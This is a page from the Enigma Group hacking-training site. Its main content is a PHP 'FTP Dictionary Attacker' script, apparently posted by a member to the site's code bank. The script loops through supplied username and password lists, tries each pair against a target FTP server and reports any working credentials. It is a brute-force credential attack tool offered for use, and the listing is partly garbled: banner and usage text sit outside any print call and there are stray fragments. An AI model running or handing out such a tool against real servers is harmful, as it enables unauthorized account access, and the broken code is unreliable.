EG Information

Main Index
EG Manual
Disclaimer
Legal Information
Hall of Fame
Hall of Shame
Member Rankings
Members List
Meet the Staff

Training Missions

Read Me First
Basic Skills
Realistic Scenarios
Cryptography
Software Cracking
Linux ELF Binary Cracking
Logical Thinking
Programming
Captcha Cracking
Patching
Steganography
Deface This Wall
/dev/null
/dev/urandom
/dev/extra

Knowledge Bank

Discussion Forums
Exploit Database New
PasteBin New
RSS Feeds RSS
Articles / Tutorials
Videos
Online EG MP3 Player Radio
Downloads
Tools

Code Resources

Submit Code
Ajax
ASM
Bash
C
CPP
Csharp
Delphi
Haskell
Java
Javascript
Jython
Lisp
mIRC
MySQL
Perl
PHP
Python
QBASIC
VisualBasic

Pimp Us Out!

Review enigmagroup.org on alexa.com

Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.

Enigma Group

Enigma Group

Enigma Group

Enigma Group

 

Affiliates



The Urinal

hackhound.org

suck-o.com

hack.org.za

flyninja.net

 

Enigma Group's Code Bank


PHP FTP Bruter

By: blink_212  -  Date Submitted: 2009-02-26 22:50:51

  1. #!/usr/bin/php -q
  2. <?php
  3.  
  4. /**
  5.  * FTP Dictionary Attacker v1.0
  6.  *
  7.  * by blink_212
  8.  *
  9.  * EnigmaGroup.org
  10.  *
  11.  */
  12.  
  13.  
  14. $users=@$argv[1];
  15. $passlist=@$argv[2];
  16. $host=@$argv[3];
  17. $port=@$argv[4];
  18.  
  19.  
  20. ### ### ## ## # # ###
  21. # # # # # ### ## ### # # # # ## #
  22. ## # ## # # # # # ## # # # ###
  23. # # # # # ### ### # # # # #
  24. # # # ## ### # ###
  25.  
  26. Coded by zeN@dusecurity.com
  27.  
  28. Usage :
  29. php ftp_crack.php <userlist> <passlist> <host> <port>
  30.  
  31. --------------------------------------------------------------------\n");
  32.  
  33. if(count(@$argv) <= 1)
  34. {
  35. die("\n");
  36. }
  37.  
  38. if(!$users)
  39. {
  40. die("\n[-] No userlist was entered, exiting...\n");
  41. }
  42. if(!$passlist)
  43. {
  44. die("\n[-] No passlist was entered, exiting...\n");
  45. }
  46. if(!$host)
  47. {
  48. die("\n[-] No host was entered, exiting...\n");
  49. }
  50. if(!$port)
  51. {
  52. die("\n[-] No port was entered, exiting...\n");
  53. }
  54.  
  55. $file = @file($passlist);
  56. $user = @file($users);
  57.  
  58. if(!$file)
  59. {
  60. print("\n[-] Unable to load ".$passlist);
  61. $error = 1;
  62. }
  63.  
  64. if(!$user)
  65. {
  66. print("\n[-] Unable to load ".$users);
  67. $error = 1;
  68. }
  69.  
  70. if(@$error == 1)
  71. {
  72. die("\n[-] To many errors, exiting...");
  73. }
  74. {
  75. $x = count($file);
  76. print("\n[+] Loaded ".count($user)." usernames.");
  77. print("\n[+] Loaded ".$x." passwords.");
  78. }
  79.  
  80. print("\n[+] Starting attack on ".$host);
  81.  
  82. foreach($user as $uname)
  83. {
  84. $i = 1;
  85.  
  86. $uname = substr_replace($uname ,"",-1);
  87.  
  88. print("\n[+] Trying user : ".$uname);
  89.  
  90. foreach($file as $pass)
  91. {
  92. $pass = substr_replace($pass ,"",-1);
  93.  
  94. $link = ConnectMe($host, $port) || die("\n[-] Unable to connect, aborting!");
  95. if (@ftp_login($link,$uname, $pass))
  96. {
  97. print("\n[+] Found Login - ".$uname."\n");
  98. die("|(".$i."/".$x.")---> ".$pass."\n");
  99. }
  100. {
  101. print "\n[-] ".$uname."\n";
  102. print "|(".$i."/".$x.")---> ".$pass;
  103. }
  104. $i++;
  105. }
  106. }
  107.  
  108. die("\n[-] All lists exausted, exiting...");
  109.  
  110. function ConnectMe($host, $port)
  111. {
  112. $link = @ftp_connect($host,$port,8000) || die("\n[-] Unable to connect, aborting!\n");
  113. return $link;
  114. }
  115. ?>
Return to php category list

Who Visited EnigmaGroup Today?

1558 Guests, 262 Users (178 Spiders)
3ntr0py, m0rt, aurena, rospark, whisperer, Blavatsky, lotato, nmobin27, learning, suetekh, Hessesian, Rex_Mundi, st3alth, Partisan, hackaday, K0gller, fitz, DrOptix, Jayjay, JohnMalkovitzch, psychomarine, whoami, Vspectrum, San Marino, TinCardinal, brunoriversyhn, TheHarrisonW, code-g, yshiau, BillTuer, Psiber_Syn, Klosse, Seasharp, obencefoozy, SlayingDragons, Link-, tinuigimeni, jasonbourne, Fred, GothicLogic, strudels, somebody777, Meonkzt, CJ_Omaha, jearrorne, cls777, unsugsNashy, Balksnuntails, trueorfalse, Sir D. Naut, zach, batsbargy, Rik, Macabre, ellisp, Nightraven, Iccyx, Repuhlsive, vipervince2002, Janomatrix, lol, veceattainc, techno, Exclaw, limited, Nikhil, evjfvir967nj, blackknight911, Distorted, Mod777, dark_void, nermtode, Tjm, bjy1997, hecky, saraf, elprof, damoniceht, trik, jordan86, SnoopSky, dan_movie, OnetInsolefon, darkfire1515, seojlhmyrhwh, Thoplehap, MaxMeier, 1028rajeev, Abhinav2107, autotuneuser, riesenjoe, alexelixir, Tauya, Jozinbrejl, kernel_mod, quolc, anandoump, vladavlada, Taicadine, valy1177, AnnaNoult, GreenTiger, baripadatimes, Ewing, Blackbeard, thepuppeteer, BON-SELE, hak4r, Unotohumsmush, NIGHTWOLF, CloverCipher, m4f10, Vengeance987, avacraft, Bumpadjuppy, becool, thecoder, ddxc, n01se, alpha1, saki, ObesseJew, ActictGlync, sajan, unicornrainbow, Domihoolbob, matt.14, max66, SnowFury, Spud101, myfabregas, Ausome1, kajman121, Frudopvia, ideveloper6, OLOLO, Bugshuppy, lamb, VagWirura, LialiTiTviors, Ordeptpen, scifics, Pozycj-Z21, RomeoG, Gkjt, interPuscruse, aaftab, TheCheeseDemon, blackcyxx21, jollyjimbo, N4g4c3N, rineDriekly, Rap70r, Xargos, flarornEral, ovetz13, sonu sahu, Breezy, emitleBen, Hackpad, JWTSR, nicyun, kaizo, itevainee, IvanDimitriev, advilapyday, luke460, AverageJoe, zeratu92, litbk, Mr.Pickle, mannavard1611, LoopyLion, NexusVos, lonely.connection, mtroscheck, burberrybagsjr, nikedunksxm, xordux, jeho, Lonewolf034, Dragonite, nhorton, Reloaded, Odile, Kaptain_k1rk, Teefelltugh, grizzly, posthuman01, jakesboy2, pwnpwnlolz, Sabo, Lakhoamnmek, Røgue, dot_Cipher, mori, snickerless1, cart1m, Xendz, KELATALFTUS, hubris, Afrika, welepocourl, carpinteyrofbt, ReottphoffBom, Reahastegah, pumashoesld, pdanielt, dmac006, DnA-Ender, Red Fox, couptupleakb, ryanjcrook, iMaxx, sh3llcod3, TimHortons, EmilaHapsaums, Feld Grau, burgeoningneophyte, Maroonhat, CookieAu, tinkansinar, Mitodina, timberlandoutletlufc, zsefvy, guccioutletox, AlexDiru, AbercrombieFitchhl, Ryuske, r0z4, slchill, kalak55, Ph4Kt480ii, beefarn, Jigoku, WrossyJes, pollolololo, ZepSung, Fragility, jell0, C9019, Othrguy, Noticon, KIKNWING, llasarus, mdubz, leah027, iellswo, MAZI_, Estilaamoli, subtentar, Trollorful, no, nas0151, Traybo, howisthechicken, thethird3y3, Somethingclever, marplusz, MSI52, twink gay cam dUi8D, temoJessy
 
Enigma Group